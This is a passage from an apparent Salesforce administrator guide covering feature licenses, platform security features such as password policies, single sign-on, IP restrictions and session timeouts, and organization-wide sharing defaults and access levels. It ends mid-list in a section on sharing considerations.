User Licenses

See Also:
Adding a Single User
Viewing and Managing Users
About Company Information
Viewing Feature Licenses

Viewing Feature Licenses


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view feature licenses:

View Setup and Configuration

You may have more than one type of feature license available to assign to the users in your organization. A feature license
entitles a user to an additional Salesforce feature, such as Marketing or Connect Offline.
To view a list of the feature licenses your organization has purchased, click Your Name > Setup > Company Profile > Company
Information. This page lists the following for each type of feature license:

Status indicates the status of the license.


Total Licenses indicates the number of licenses for which your company is billed and that are available to you.
Used Licenses is the number of licenses that you have assigned to users.
Remaining Licenses is the number of unused licenses.

Additionally, if Checkout is enabled for your organization, you can click Buy More Licenses to go to Checkout to buy
additional feature licenses; see Checkout User Guide for instructions.

609

Security and Sharing

Security Overview

The following feature licenses are available:

Marketing User
Offline User
Apex Mobile User
Salesforce CRM Content User
Knowledge User
Service Cloud User
Chatter Answers User
Live Agent User
Force.com Flow User
Site.com Contributor User
Site.com Publisher User

To enable a feature for a user in your organization, you can assign feature licenses when adding new users or editing a user's
personal information. For information on purchasing feature licenses, contact salesforce.com.

See Also:
About Company Information
Understanding User License Types

SECURITY AND SHARING


Security Overview
Salesforce is built with security as the foundation for the entire service. This foundation includes both protection for your data
and applications, and the ability to implement your own security scheme to reflect the structure and needs of your organization.
The security features of Salesforce provide both strength and flexibility. However, protecting your data is a joint responsibility
between you and salesforce.com. The security features in Salesforce enable you to empower your users to do their jobs efficiently,
while also limiting exposure of data to the users that need to act upon it. Implement security controls that you think are
appropriate for the sensitivity of your data. Your data is protected from unauthorized access from outside your company, and
you should also safeguard it from inappropriate usage by your users.
See the following topics to get more information about the various security components in Salesforce:

Security Infrastructure
Trust and Salesforce.com
User Security Overview
About Passwords
User Authentication
Identity Providers
Network-Based Security

610

Security and Sharing

Security Overview

CAPTCHA Security for Data Exports


Session Security
Securing Data Access
Auditing
Portal Health Check Overview in the Salesforce online help

See Also:
FAQ: Security & Scalability
Securing Data Access
FAQ: What browsers are supported?
Setting Login Restrictions
Setting Session Security
Setting Password Policies
Security Implementation Guide

Security Infrastructure
One of the core features of a multi-tenant platform is the use of a single pool of computing resources to service the needs of
many different customers. Salesforce protects your organization's data from all other customer organizations by using a unique
organization identifier, which is associated with each user's session. Once you log in to your organization, your subsequent
requests are associated with your organization, using this identifier.
Salesforce utilizes some of the most advanced technology for Internet security available today. When you access the application
using a Salesforce-supported browser, Secure Socket Layer (SSL) technology protects your information using both server
authentication and data encryption, ensuring that your data is safe, secure, and available only to registered users in your
organization. For more information about supported browsers, see Supported Browsers.
In addition, Salesforce is hosted in a secure server environment that uses a firewall and other advanced technology to prevent
interference or access from outside intruders.

See Also:
Security Overview
Security Implementation Guide

Trust and Salesforce.com


Trust starts with transparency. Thats why salesforce.com displays real-time information on system performance and security
on the trust site at http://trust.salesforce.com. This site provides live data on system performance, alerts for current and recent
phishing and malware attempts, and tips on best security practices for your organization.
The Security tab on the trust site includes valuable information that can help you to safeguard your company's data. In particular,
phishing and malware are Internet scams on the rise.

611

Security and Sharing

Security Overview

Phishing is a social engineering technique that attempts to acquire sensitive information such as usernames, passwords and
credit card details by masquerading as a trustworthy entity in an electronic communication. Phishers often direct users to enter
details at a fake website whose URL and look-and-feel are almost identical to the legitimate one. As the salesforce.com
community grows, it has become an increasingly appealing target for phishers. You will never get an email or a phone call
from a salesforce.com employee asking you to reveal a password, so you should refuse to reveal it to anyone. You can report
any suspicious activities by clicking the Report a Suspicious Email link under the Trust tab at http://trust.salesforce.com.
Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It is a general
term used to cover a variety of forms of hostile, intrusive, or annoying software, and it includes computer viruses and spyware.
What Salesforce.com is Doing
Customer security is the foundation of customer success, so salesforce.com will continue to implement the best possible practices
and technologies in this area. Recent and ongoing actions include:

Actively monitoring and analyzing logs to enable proactive alerts to customers who have been affected.
Collaborating with leading security vendors and experts on specific threats.
Executing swift strategies to remove or disable fraudulent sites (often within an hour of detection).
Reinforcing security education and tightening access policies within salesforce.com.
Evaluating and developing new technologies both for our customers and for deployment within our infrastructure.

What Salesforce.com Recommends You Do


Salesforce.com is committed to setting the standards in software-as-a-service as an effective partner in customer security. So,
in addition to internal efforts, salesforce.com strongly recommends that customers implement the following changes to enhance
security:

Modify your Salesforce implementation to activate IP range restrictions. This will allow users to access Salesforce only
from your corporate network or VPN, thus providing a second factor of authentication. For more information, see Setting
Session Security on page 668 and Restricting Login IP Ranges for Your Organization on page 670.
Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts.
Use security solutions from leading vendors such as Symantec to deploy spam filtering and malware protection.
Designate a security contact within your organization so that salesforce.com can more effectively communicate with you.
Contact your salesforce.com representative with this information.
Consider using two-factor authentication techniques, such as RSA tokens, to restrict access to your network.

Salesforce.com has a Security Incident Response Team to respond to any security issues. To report a security incident with
Salesforce, contact security@salesforce.com. Describe the incident in detail, and the team will respond promptly.

See Also:
Security Overview
Security Implementation Guide

User Security Overview


Salesforce provides each user in your organization with a unique username and password that must be entered each time a
user logs in. Salesforce issues a session cookie only to record encrypted authentication information for the duration of a specific
session. The session cookie does not include either the username or password of the user. Salesforce does not use cookies to

612

Security and Sharing

Security Overview

store other confidential user and session information, but instead implements more advanced security methods based on
dynamic data and encoded session IDs.

See Also:
Security Overview
Security Implementation Guide

About Passwords
Password policies available in: All Editions

User Permissions Needed


To set password policies:

Manage Users

To reset user passwords and unlock users:

Reset User Passwords and Unlock Users

There are several settings you can configure to ensure that your users passwords are strong and secure:

Password policiesset various password and login policies, such as specifying an amount of time before all users' passwords
expire, the level of complexity required for passwords, and so on. See Setting Password Policies on page 665.
User password expirationexpire the passwords for all the users in your organization, except for users with Password
Never Expires permission. See Expiring Passwords on page 512.
User password resetsreset the password for specified users. See Resetting Passwords on page 511.
Login attempts and lockout periodsif a user is locked out of Salesforce due to too many failed login attempts, you can
unlock them. See Editing Users on page 507.

Password Requirements
A password cannot contain your User Name and cannot match your first or last name.
For all editions, a new organization has the following default password requirements:

A password must contain at least eight characters.


A password must contain at least one alphabetic character and one number.
The answer to the question posed if you forget your password cannot contain your password.
The last three passwords are remembered and cannot be reused when you are changing your password.

The password policies, including these defaults, can be updated for all editions except for Personal Edition. See Setting
Password Policies on page 665 for more details.

See Also:
Security Overview
Security Implementation Guide

613

Security and Sharing

Security Overview

User Authentication
Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to
simplify and standardize their user authentication. You have two options to implement single sign-onfederated authentication
using Security Assertion Markup Language (SAML) or delegated authentication.

Federated authentication using Security Assertion Markup Language (SAML) allows you to send authentication and
authorization data between affiliated but unrelated Web services. This enables you to sign-on to Salesforce from a client
application. Federated authentication using SAML is enabled by default for your organization.
Delegated authentication single sign-on enables you to integrate Salesforce with an authentication method that you choose.
This enables you to integrate authentication with your LDAP (Lightweight Directory Access Protocol) server, or perform
single sign-on by authenticating using a token instead of a password. You manage delegated authentication at the permission
level, allowing some users to use delegated authentication, while other users continue to use their Salesforce-managed
password. Delegated authentication is set by permissions, not by organization. You must request that this feature be enabled
by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization.
The primary reasons for using delegated authentication include:
Using a stronger type of user authentication, such as integration with a secure identity provider
Making your login page private and not part of the general Internet, but rather, part of your corporate network, behind
your corporate firewall
Differentiating your organization from all other companies that use Salesforce in order to reduce phishing attacks

For more information, see About Single Sign-On on page 671.

See Also:
Security Overview
Security Implementation Guide

Identity Providers
An identity provider is a trusted provider that enables you to use single sign-on to access other websites. A service provider is a
website that hosts applications. You can enable Salesforce as an identity provider, then define one or more service providers,
so your users can access other applications directly from Salesforce using single sign-on. This can be a great help to your users:
instead of having to remember many passwords, they will only have to remember one. Plus, the applications can be added as
tabs to your Salesforce organization, which means users won't have to switch between programs.
For more information, see About Identity Providers and Service Providers in the Salesforce online help.

See Also:
Security Overview
Security Implementation Guide

614

Security and Sharing

Security Overview

Network-Based Security
User authentication determines who can log in, while network-based security limits where they can log in from and when. Use
network-based security to limit the window of opportunity for an attacker by restricting the origin of user logins. Network-based
security can also make it more difficult for an attacker to use stolen credentials.
To enhance network-based security, Salesforce includes the ability to restrict the hours during which users can log in and the
range of IP addresses from which they can log in. If IP address restrictions are defined for a user's profile and a login originates
from an unknown IP address, Salesforce does not allow the login. This helps to protect your data from unauthorized access
and phishing attacks.
To set the organization-wide list of trusted IP addresses from which users can always log in without a login challenge, see
Restricting Login IP Ranges for Your Organization on page 670. To restrict login hours by profile, or to restrict logins by IP
addresses for specific profiles, see Setting Login Restrictions on page 552.

See Also:
Security Overview
Security Implementation Guide

CAPTCHA Security for Data Exports


By request, salesforce.com can also require users to pass a user verification test to export data from Salesforce.com. This simple,
text-entry test helps prevent malicious programs from accessing your organizations data, as well as reducing the risk of
automated attacks. CAPTCHA is a type of network-based security. To pass the test, users must type two words displayed on
an overlay into the overlays text box field, and click a Submit button. Salesforce uses CAPTCHA technology provided by
reCaptcha to verify that a person, as opposed to an automated program, has correctly entered the text into the overlay.
CAPTCHA stands for Completely Automated Public Turing Test To Tell Computers and Humans Apart.

See Also:
Security Overview
Security Implementation Guide

Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a
user leaves their computer unattended while still logged on. It also limits the risk of internal attacks, such as when one employee
tries to use another employee's session.
You can control the session expiration time window for user logins. Session expiration allows you to select a timeout for user
sessions. The default session timeout is two hours of inactivity. When the session timeout is reached, users are prompted with
a dialog that allows them to log out or continue working. If they do not respond to this prompt, they are automatically logged
out.

615

Security and Sharing

Security Overview

Note: When a user closes a browser window or tab they are not automatically logged off from their Salesforce session.
Please ensure that your users are aware of this, and that they end all sessions properly by clicking Your Name > Logout.
By default, Salesforce uses SSL (secure sockets layer) and requires secure connections (HTTPS) for all communication. The
Require secure connections (HTTPS) setting determines whether SSL (HTTPS) is required for access to Salesforce,
apart from Force.com sites, which can still be accessed using HTTP. (To enforce HTTPS for all Force.com sites communication,
see Public Access Settings for Force.com Sites on page 1633.) If you disable this setting and change the URL from https://
to http://, you can still access the application. However, you should require all sessions to use SSL for added security. See
Setting Session Security on page 668.

See Also:
Security Overview
Security Implementation Guide

Auditing
Auditing features do not secure your organization by themselves, but these features provide information about usage of the
system, which can be critical in diagnosing potential or real security issues. It is important that someone in your organization
perform regular audits to detect potential abuse. The other security features provided by Salesforce are preventative. To verify
that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends.
Auditing features include:
Record Modification Fields
All objects include fields to store the name of the user who created the record and who last modified the record. This
provides some basic auditing information.
Login History
You can review a list of successful and failed login attempts to your organization for the past six months. See Monitoring
Login History on page 600.
Field History Tracking
You can also enable auditing for individual fields, which will automatically track any changes in the values of selected
fields. Although auditing is available for all custom objects, only some standard objects allow field-level auditing. See
Tracking Field History on page 1100.
Setup Audit Trail
Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization's
configuration. See Monitoring Setup Changes on page 735.

See Also:
Security Overview
Security Implementation Guide

616

Security and Sharing

Securing Data Access

Securing Data Access


The available data management options vary according to which Salesforce Edition you have.

Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need
to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of
data access for your users.
To enable users to do their job without exposing data that they do not need to see, Salesforce provides a flexible, layered sharing
design that allows you to expose different data sets to different sets of users.

To specify the objects that users can access, you can assign permission sets and profiles.
To specify the fields that users can access, you can use field-level security.
To specify the individual records that users can view and edit, you can set your organization-wide sharing settings, define
a role hierarchy, and create sharing rules.
Tip: When implementing security and sharing rules for your organization, make a table of the various types of users
in your organization. In the table, specify the level of access to data that each type of user needs for each object and
for fields and records within the object. You can refer to this table as you set up your security model.

The following describes these security and sharing settings:


Object-Level Security (Permission Sets and Profiles)
Object-level securityor object permissionsprovide the bluntest way to control data. Using object permissions you
can prevent a user from seeing, creating, editing, or deleting any instance of a particular type of object, such as a lead or
opportunity. Object permissions let you hide whole tabs and objects from particular users, so that they don't even know
that type of data exists.
You specify object permissions in permission sets and profiles. Permission sets and profiles are collections of settings and
permissions that determine what a user can do in the application, similar to a group in a Windows network, where all
of the members of the group have the same folder permissions and access to the same software.
Profiles are typically defined by a user's job function (for example, system administrator or sales representative). A profile
can be assigned to many users, but a user can be assigned to only one profile. You can use permission sets to grant
additional permissions and access settings to users. It's easy to manage users' permissions and access with permission
sets, because you can assign multiple permission sets to a single user.
Field-Level Security (Permission Sets and Profiles)
In some cases, you may want users to have access to an object, but limit their access to individual fields in that object.
Field-level securityor field permissionscontrol whether a user can see, edit, and delete the value for a particular field
on an object. They let you protect sensitive fields without having to hide the whole object from users. Field permissions
are also controlled in permission sets and profiles.
Unlike page layouts, which only control the visibility of fields on detail and edit pages, field permissions control the
visibility of fields in any part of the app, including related lists, list views, reports, and search results. To ensure that a
user can't access a particular field, use field permissions. No other settings provide the same level of protection for a field.
Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization
to prevent users from searching and retrieving records that match a value in a field hidden by field-level security,
contact salesforce.com Customer Support.

617

Security and Sharing

Securing Data Access

Record-Level Security (Sharing)


After setting object- and field-level access permissions, you may want to configure access settings for the actual records
themselves. Record-level security lets you give users access to some object records, but not others. Every record is owned
by a user or a queue. The owner has full access to the record. In a hierarchy, users higher in the hierarchy always have
the same access to users below them in the hierarchy. This access applies to records owned by users, as well as records
shared with them.
To specify record-level security, set your organization-wide sharing settings, define a hierarchy, and create sharing rules.

Organization-wide sharing settingsThe first step in record-level security is to determine the organization-wide
sharing settings for each object. Organization-wide sharing settings specify the default level of access users have to
each others' records.
You use organization-wide sharing settings to lock down your data to the most restrictive level, and then use the
other record-level security and sharing tools to selectively give access to other users. For example, let's say users have
object-level permissions to read and edit opportunities, and the organization-wide sharing setting is Read-Only. By
default, those users can read all opportunity records, but can't edit any unless they own the record or are granted
additional permissions.

Role hierarchyOnce you've specified organization-wide sharing settings, the first way you can give wider access to
records is with a role hierarchy. Similar to an organization chart, a role hierarchy represents a level of data access that
a user or group of users needs. The role hierarchy ensures that users higher in the hierarchy always have access to the
same data as people lower in their hierarchy, regardless of the organization-wide default settings. Role hierarchies
don't have to match your organization chart exactly. Instead, each role in the hierarchy should represent a level of
data access that a user or group of users needs.
You can also use a territory hierarchy to share access to records. A territory hierarchy grants users access to records
based on criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. For example,
you could create a territory hierarchy in which a user with the North America role has access to different data than
users with the Canada and United States roles.
Note: Although it's easy to confuse permission sets and profiles with roles, they control two very different
things. Permission sets and profiles control a user's object and field access permissions. Roles primarily control
a user's record-level access through role hierarchy and sharing rules.

Sharing rulesSharing rules let you make automatic exceptions to organization-wide sharing settings for particular
sets of users, to give them access to records they don't own or can't normally see. Sharing rules, like role hierarchies,
are only used to give additional users access to recordsthey can't be stricter than your organization-wide default
settings.
Manual sharingSometimes it's impossible to define a consistent group of users who need access to a particular set
of records. In those situations, record owners can use manual sharing to give read and edit permissions to users who
would not have access to the record any other way. Although manual sharing isn't automated like organization-wide
sharing settings, role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records
with users that need to see them.
Apex managed sharingIf sharing rules and manual sharing don't give you the control you need, you can use Apex
managed sharing. Apex managed sharing allows developers to programmatically share custom objects. When you

618

Security and Sharing

Overview of Sharing Settings

use Apex managed sharing to share a custom object, only users with the Modify All Data permission can add or
change the sharing on the custom object's record, and the sharing access is maintained across record owner changes.

See Also:
Overview of Sharing Settings
Overview of Roles

Overview of Sharing Settings


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Teams are not available in Database.com

In Salesforce, you can control access to data at many different levels. For example, you can control the access your users have
to objects with object permissions. Within objects, you can control the access users have to fields using field-level security. To
control access to data at the record level, use sharing settings.

Organization-Wide Defaults
Your organization-wide default sharing settings give you a baseline level of access for each object and enable you to extend
that level of access using hierarchies or sharing rules. For example, you can set the organization-wide default for leads to Private
if you only want users to view and edit the leads they own. Then, you can create lead sharing rules to extend access of leads to
particular users or groups.
Starting in Summer 12, custom objects can have separate organization-wide defaults for external and internal users, enabling
admins to set default access for external users to Private while still allowing Public Read/Write or Public Read Only access
for internal users. See Separate Organization-Wide Defaults for more information.

Sharing Rules
Sharing rules represent the exceptions to your organization-wide default settings. If you have organization-wide sharing defaults
of Public Read Only or Private, you can define rules that give additional users access to records they do not own. You can
create sharing rules based on record owner or field values in the record.
Tip: Sometimes it's impossible to define a consistent group of users who need access to a particular set of records. In
those situations, record owners can use manual sharing to give read and edit permissions to users who would not have
access to the record any other way. Although manual sharing isn't automated like organization-wide sharing settings,
role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need
to see them.

Apex Managed Sharing


Apex managed sharing allows developers to programmatically share custom objects. When you use Apex managed sharing to
share a custom object, only users with the Modify All Data permission can add or change the sharing on the custom object's
record, and the sharing access is maintained across record owner changes.
For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.

619

Security and Sharing

Overview of Sharing Settings

Other Methods for Allowing Access to Records


In addition to sharing settings, there are a few other ways to allow multiple users access to given records:
Map category groups to roles
Control access to data categories by mapping them to user roles. See About Category Group Visibility on page 1575.
Queues
Queues help your teams manage leads, cases, service contracts, and custom objects. Once records are placed in a queue
manually or through an automatic case or lead assignment rule, records remain there until they're assigned to a user or
taken by one of the queue members. Any queue member or users above them in the role hierarchy can take ownership
of records in a queue. Use queues to route lead, case, and custom object records to a group.
Teams
For accounts, opportunities, and cases, record owners can use teams to allow other users access to their records. A team
is a group of users that work together on an account, sales opportunity, or case. Record owners can build a team for each
record that they own. The record owner adds team members and specifies the level of access each team member has to
the record, so that some team members can have read-only access and others can have read/write access. The record
owner can also specify a role for each team member, such as Executive Sponsor. In account teams, team members also
have access to any contacts, opportunities, and cases associated with an account.
Note: A team member may have a higher level of access to a record for other reasons, such as a role or sharing
rule. In this case, the team member has the highest access level granted, regardless of the access level specified
in the team.

See Also:
Sharing Considerations
Account Teams Overview
Sales Teams Overview
Case Teams Overview
Securing Data Access

Working in the Sharing Settings Page


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To set default sharing access:

Manage Users
AND
Customize Application

Use the sharing settings page to set your organization-wide sharing defaults and manage sharing rules.
To view the sharing settings page, click Your Name > Setup > Security Controls > Sharing Settings.

620

Security and Sharing

Overview of Sharing Settings

From the Manage sharing settings for drop-down list, select All Objects to view sharing settings for all objects
in the organization, or select a single object.
View or manage organization-wide defaults, or the default level of access users have to each others records.
View or manage sharing rules, or exceptions to the organization-wide defaults.
View the profiles that override sharing settings.

Viewing Sharing Overrides


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view sharing overrides:

View Setup and Configuration

When you select an object in the Sharing Settings page, the page includes a Sharing Overrides related list, which shows any
profiles that ignore sharing settings for that object.
To view the Sharing Overrides list, click Your Name > Setup > Security Controls > Sharing Settings, then select an object
from the Manage Sharing Settings For list.
For each profile, the list specifies the permissions that allow it to override sharing settings. The View All Data and Modify
All Data permissions override sharing settings for all objects in the organization, while the object permissions View All and
Modify All override sharing settings for the named object.
Note: The Sharing Overrides list doesn't show permissions granted through permission sets, which may also override
sharing settings for an object.
To override sharing settings for specific objects, you can create or edit permission sets or profiles and enable the View All
and Modify All object permissions. These permissions provide access to all records associated with an object across the
organization, regardless of the sharing settings. Before setting these permissions, compare the different ways to control data
access.

See Also:
Object Permissions
Comparing Security Models
Overview of Sharing Settings

621

Security and Sharing

About Organization-Wide Sharing Defaults

About Organization-Wide Sharing Defaults


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions.
Customer Portal is not available in Database.com

Administrators can use organization-wide sharing settings to define the default sharing settings for an organization.
Organization-wide sharing settings specify the default level of access to records and can be set separately for accounts (including
assets and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects.
For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write.
In environments where the organization-wide sharing setting for an object is Private or Public Read Only, an administrator
can grant users additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can
only be used to grant additional accessthey cannot be used to restrict access to records beyond what was originally specified
with the organization-wide sharing defaults.
Important: If your organization uses a Customer Portal, before you enable contacts to access the portal, set the
organization-wide sharing defaults on accounts, contacts, contracts, assets, and cases to Private. This ensures that by
default your customers can view only their own data. You can still grant your Salesforce users Public Read/Write
access by creating sharing rules in which all internal users share with all internal users.
By default, Salesforce uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users
above the record owner in the hierarchy.
Use the Grant Access Using Hierarchies checkbox to disable access to records to users above the record owner in the hierarchy
for custom objects in Professional, Enterprise, Unlimited, and Developer Edition. If you deselect this checkbox for a custom
object, only the record owner and users granted access by the organization-wide defaults receive access to the records.
Note:
Starting in Summer 12, custom objects can have separate organization-wide defaults for external and internal users,
enabling admins to set default access for external users to Private while still allowing Public Read/Write or Public
Read Only access for internal users. See Separate Organization-Wide Defaults for more information.

See Also:
Setting Your Organization-Wide Sharing Defaults
Overview of Roles
Sharing Rules Overview
Setting Up Your Customer Portal

622

Security and Sharing

About Organization-Wide Sharing Defaults

Separate Organization-Wide Defaults


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: Separate Organization-Wide Defaults for External Users is available through a pilot program. For more
information on enabling this feature for your organization, contact salesforce.com.
Starting in Summer 12, custom objects can have separate organization-wide defaults for internal and external users, therefore
simplifying your sharing rules configuration and improving recalculation performance.
External users include:

Authenticated Website users


Service Cloud Portal users
Customer Portal users
Partner Portal users
Guest users

Previously, if your organization wanted Public Read Only or Public Read/Write access for internal users but Private for external
users, you would have to set the default access to Private and create a sharing rule to share records with all internal users.
With separate organization-wide defaults, you can achieve similar behavior by setting Default Internal Access to Public Read
Only or Public Read/Write and Default External Access to Private. Setting the default internal access as Public Read Only
or Public Read/Write also speeds up performance for reports, list views, searches, and API queries.
Enable separate organization-wide defaults by clicking Your Name > Setup > Security Controls > Sharing Settings and
clicking the Enable External Sharing Model button.
Note: The Default External Access level must be more restrictive or equal to the Default Internal Access level. For
example, you can have a custom object with Default External Access set to Private and Default Internal Access set
to Public Read Only .
If you want to disable separate organization-wide defaults, each of your custom objects must be set to the same Default
External Access and Default Internal Access levels before you can disable this feature. This button may be grayed out if at
least one of your custom objects has different internal and external access levels. If you have soft-deleted a custom object with
different external and internal defaults, you have to undelete the custom object to change the defaults to the same levels or
hard-delete the custom object before you can disable the feature.
For details, see the Separate Organization-Wide Defaults for External Users tip sheet.

623

Security and Sharing

Built-in Sharing Behavior

Built-in Sharing Behavior


Sharing for accounts and contacts is available in: Professional, Enterprise, Unlimited, and Developer Editions
Sharing for cases and opportunities is available in Enterprise, Unlimited, and Developer Editions

You may encounter cases where a user can view a parent or child of a record that they have access to. An account is the parent
of several child entitiesopportunity, case, and contact. For example, a user with access to a case can view the associated
parent account. Similarly, a user with access to a parent account can view associated child entities.
Salesforce provides implicit sharing between accounts and child objects, and also for various groups of portal users, summarized
as follows.
Sharing between accounts and child entities

Access to a parent accountIf you have access to a child record of an account, you have implicit Read Only access
on that account.
Access to child entitiesIf you have access to a parent account, you may have access to the associated child entities.
The account owner's role determines the level of access to child entities.

Built-in sharing behavior for portal users

Account and case accessA portal user of an account has Read Only access to the parent account and to all contacts
of that account.
Management access to data owned by Service Cloud portal usersSince Service Cloud portal users don't have
roles, portal account owners can't access their data via the role hierarchy. To grant them access to this data, you can
add account owners to the share group of the portal where the Service Cloud portal users are working in. This step
provides access to all data owned by Service Cloud portal users in that portal.
Case accessIf a portal user is a contact on a case, then the user has Read Only access on the case.

See Also:
Sharing Considerations
Securing Data Access
Creating Account Sharing Rules
Granting Access to Records

624

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Setting Your Organization-Wide Sharing Defaults


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Solutions, Service Contracts, Documents, Forecasts, Reports, and Dashboards are not available in Database.com

User Permissions Needed


To set default sharing access:

Manage Users
AND
Customize Application

1. Click Your Name > Setup > Security Controls > Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want to use. If you have a portal enabled with separate organization-wide
defaults, see Separate Organization-Wide Defaults.
4. To disable automatic access using your hierarchies, deselect Grant Access Using Hierarchies for any custom object that
does not have a default access of Controlled by Parent.
Note: If Grant Access Using Hierarchies is deselected, users that are higher in the role or territory hierarchy
don't receive automatic access. However, some userssuch as those with the View All and Modify All object
permissions and the View All Data and Modify All Data system permissionscan still access records they
don't own.

Limitations
You can't change the organization-wide sharing default setting for some objects:

Solutions are always Public Read/Write.


Service contracts are always Private.
The ability to view or edit a document, report, or dashboard is based on a user's access to the folder in which it's stored.
Users can only view the forecasts of other users who are placed below them in the role hierarchy, unless forecast sharing
is enabled. For more information, see Manually Sharing a Forecast on page 1361.
When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide
default is set to Controlled by Parent and it is not editable.
You can't change the organization-wide default settings from private to public for a custom object if Apex code uses the
sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing
access on a custom object Invoice__c (represented as Invoice__share in the code), you can't change the object's
organization-wide sharing setting from private to public.

See Also:
Overview of Sharing Settings
Sharing Default Access Settings

625

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Default Organization-Wide Sharing Settings


Available in: Professional, Enterprise, Unlimited,Developer, and Database.com Editions.
Except for Custom Objects, all object types are not available in Database.com

The default organization-wide sharing settings are:


Object

Default Access

Accounts

Public Read/Write

Activities

Private

Assets

Public Read/Write

Calendar

Hide Details and Add Events

Campaigns

Public Full Access

Cases

Public Read/Write/Transfer

Contacts

Controlled by Parent

Contracts

Public Read/Write

Custom Objects

Public Read/Write

Leads

Public Read/Write/Transfer

Opportunities

Public Read Only

Price Books

Use

Service Contracts

Private

See Also:
About Organization-Wide Sharing Defaults
Setting Your Organization-Wide Sharing Defaults

626

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Sharing Default Access Settings


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Only Custom Objects are available in Database.com

User Permissions Needed


To set default sharing access:

Manage Users

You can use organization-wide defaults to set the default level of record access for the following objects.

Accounts and their associated contracts and assets


Activities
Calendars
Campaigns
Cases
Contacts
Custom objects
Leads
Opportunities
Price books
Service contracts

You can assign the following access levels to accounts, campaigns, cases, contacts, contracts, leads, opportunities, and custom
objects.
Field

Description

Controlled by Parent

A user can perform an action (such as view, edit, or delete) on


a contact based on whether he or she can perform that same
action on the record associated with it.
For example, if a contact is associated with the Acme account,
then a user can only edit that contact if he or she can also edit
the Acme account.

Private

Only the record owner, and users above that role in the
hierarchy, can view, edit, and report on those records.
For example, if Tom is the owner of an account, and he is
assigned to the role of Western Sales, reporting to Carol (who
is in the role of VP of Western Region Sales), then Carol can
also view, edit, and report on Toms accounts.

627

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Field

Description

Public Read Only

All users can view and report on records but not edit them.
Only the owner, and users above that role in the hierarchy,
can edit those records.
For example, Sara is the owner of ABC Corp. Sara is also in
the role Western Sales, reporting to Carol, who is in the role
of VP of Western Region Sales. Sara and Carol have full
read/write access to ABC Corp. Tom (another Western Sales
Rep) can also view and report on ABC Corp, but cannot edit
it.

Public Read/Write

All users can view, edit, and report on all records.


For example, if Tom is the owner of Trident Inc., all other
users can view, edit, and report on the Trident account.
However, only Tom can alter the sharing settings or delete
the Trident account.

Public Read/Write/Transfer

All users can view, edit, transfer, and report on all records.
Only available for cases or leads.
For example, if Alice is the owner of ACME case number
100, all other users can view, edit, transfer ownership, and
report on that case. But only Alice can delete or change the
sharing on case 100.

Public Full Access

All users can view, edit, transfer, delete, and report on all
records. Only available for campaigns.
For example, if Ben is the owner of a campaign, all other users
can view, edit, transfer, or delete that campaign.

Note: To use cases effectively, set the organization-wide default for Account, Contact, Contract, and Asset to Public
Read/Write.
You can assign the following access levels to personal calendars.
Field

Description

Hide Details

Others can see whether the user is available at given times,


but can not see any other information about the nature of
events in the users calendar.

Hide Details and Add Events

In addition to the sharing levels set by Hide Details, users can


insert events in other users calendars.

Show Details

Users can see detailed information about events in other users


calendars.

628

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Field

Description

Show Details and Add Events

In addition to the sharing levels set by Show Details, users


can insert events in other users calendars.

Full Access

Users can see detailed information about events in other users


calendars, insert events in other users calendars, and edit
existing events in other users calendars.

Note: Regardless of the organization-wide defaults that have been set for calendars, all users can invite all other users
to events.
You can assign the following access levels to price books.
Field

Description

Use

All users can view price books and add them to opportunities.
Users can add any product within that price book to an
opportunity.

View Only

All users can view and report on price books but only users
with the Edit permission on opportunities or users that have
been manually granted use access to the price book can add
them to opportunities.

No Access

Users cannot see price books or add them to opportunities.


Use this access level in your organization-wide default if you
want only selected users to access selected price books. Then,
manually share the appropriate price books with the
appropriate users. For information on manually sharing a price
book to your users, see Sharing Price Books on page 2622.

You can assign the following access levels to activities.


Field

Description

Private

Only the activity owner, and users above the activity owner in
the role hierarchy, can edit and delete the activity; users with
read access to the record to which the activity is associated can
view and report on the activity.

Controlled by Parent

A user can perform an action (such as view, edit, transfer, and


delete) on an activity based on whether he or she can perform
that same action on the records associated with the activity.
For example, if a task is associated with the Acme account
and the John Smith contact, then a user can only edit that task

629

Security and Sharing

Field

Setting Your Organization-Wide Sharing Defaults

Description
if he or she can also edit the Acme account and the John Smith
record.

See Also:
Setting Your Organization-Wide Sharing Defaults
Overview of Sharing Settings

Sharing Considerations
Your organization's sharing model gives users access to records they do not own. The sharing model is a complex relationship
between role hierarchies, user permissions, sharing rules, and exceptions for certain situations. Review the following notes
before setting your sharing model:
Exceptions to Role Hierarchy-based Sharing
Users can always view and edit all data owned by or shared with users below them in the role hierarchy. Exceptions to this
include:

